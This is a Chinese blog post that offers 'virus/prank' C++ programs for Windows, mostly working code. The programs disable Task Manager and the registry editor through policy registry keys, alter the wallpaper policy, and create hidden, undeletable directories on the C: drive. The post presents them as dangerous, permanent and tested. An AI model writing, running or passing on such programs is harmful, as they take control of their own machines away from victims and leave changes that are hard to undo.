c++病毒/恶搞代码大全( 下 )

注:以下代码应勿用于非法(Dev-c++5.11实测可用)

警告:以下为危险/永久性程序,请慎重使用

8.

效果:禁用任务管理器

提示:可能被杀毒软件拦截

#include <stdio.h>
#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}

 

9.

效果:禁用注册表

提示:可能被杀毒软件拦截

#include <stdio.h>
#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}

10.

效果:桌面壁纸

 

#include <stdio.h>
#include <windows.h> 
int main()
{
   DWORD value = 1;
    HKEY hkey;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
    RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    return 0;
}

 

11.

效果:不可删除文件

解决方法:将51-52行换成52行

#include <stdio.h>
#include <shlobj.h>
#include <windows.h>
 
// 添加不可删除文件
BOOL SetImmunity(char *FilePath,char *FileName)
{
    char file[2048] = { 0 };
 
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
    BOOL bRet = CreateDirectory(file, NULL);
    if (bRet)
    {
        strcat(file, "\\anti...\\");
        bRet = CreateDirectory(file, NULL);
        if (bRet)
        {
            SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
            return TRUE;
        }
    }
    return FALSE;
}
void ClearImmunity(char *FilePath, char *FileName)
{
    char file[2048] = { 0 };
 
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
 
    strcat(file, "\\anti...\\");
    RemoveDirectory(file);
 
    ZeroMemory(file, MAX_PATH);
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
    RemoveDirectory(file);
}
 
int main(int argc, char * argv[])
{
    char *Fuck[4] = { "你", "好", "世", "界" };
    int FuckLen = sizeof(Fuck) / sizeof(int);
 
    TCHAR Destop[MAX_PATH];
    SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);  
 
    for (int x = 0; x < FuckLen; x++)
    {
        SetImmunity("c://", Fuck[x]);
        //ClearImmunity("c://", Fuck[x]);
    }
 
    system("pause");
    return 0;
}

  • 25
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 23
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 23
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值